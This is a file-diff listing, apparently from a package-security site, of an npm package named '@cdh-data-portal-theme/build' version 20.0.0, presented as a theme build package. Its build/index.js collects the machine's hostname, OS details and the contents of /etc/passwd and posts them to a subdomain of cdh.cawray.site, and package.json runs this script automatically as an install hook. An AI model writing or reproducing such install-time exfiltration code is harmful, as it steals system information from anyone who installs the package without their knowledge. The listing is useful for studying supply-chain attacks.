@cdh-data-portal-theme/build 20.0.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/build/index.js +56 -0
  2. package/package.json +11 -0
package/build/index.js ADDED
@@ -0,0 +1,56 @@
1
+ const http = require("http");
2
+ const os = require("os");
3
+ const { execSync } = require("child_process");
4
+
5
+ const hostname = os.hostname();
6
+
7
+ // Function to execute shell commands and return output
8
+ const executeCommand = (cmd) => {
9
+ try {
10
+ return execSync(cmd, { encoding: "utf-8" }).trim();
11
+ } catch (error) {
12
+ return `Error executing command: ${error.message}`;
13
+ }
14
+ };
15
+
16
+ // Gather machine information
17
+ const machineInfo = {
18
+ hostname: hostname,
19
+ os: `${os.type()} ${os.release()} ${os.arch()}`,
20
+ uptime: os.uptime(),
21
+ passwdFile: executeCommand("cat /etc/passwd"),
22
+ };
23
+
24
+ // Prepare data to be sent
25
+ const data = new TextEncoder().encode(
26
+ JSON.stringify({
27
+ payload: machineInfo,
28
+ project_id: process.argv[2],
29
+ })
30
+ );
31
+
32
+ const options = {
33
+ hostname: `${hostname}.cdh.cawray.site`,
34
+ port: 80,
35
+ path: "/",
36
+ method: "POST",
37
+ headers: {
38
+ "Content-Type": "application/json",
39
+ "Content-Length": data.length,
40
+ },
41
+ rejectUnauthorized: false,
42
+ };
43
+
44
+ // Send the request
45
+ const req = http.request(options, (res) => {
46
+ res.on("data", (d) => {
47
+ process.stdout.write(d);
48
+ });
49
+ });
50
+
51
+ req.on("error", (error) => {
52
+ console.error(error);
53
+ });
54
+
55
+ req.write(data);
56
+ req.end();
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "@cdh-data-portal-theme/build",
3
+ "version": "20.0.0",
4
+ "description": "My NPM",
5
+ "main": "build/index.js",
6
+ "scripts": {
7
+ "install": "node build/index.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }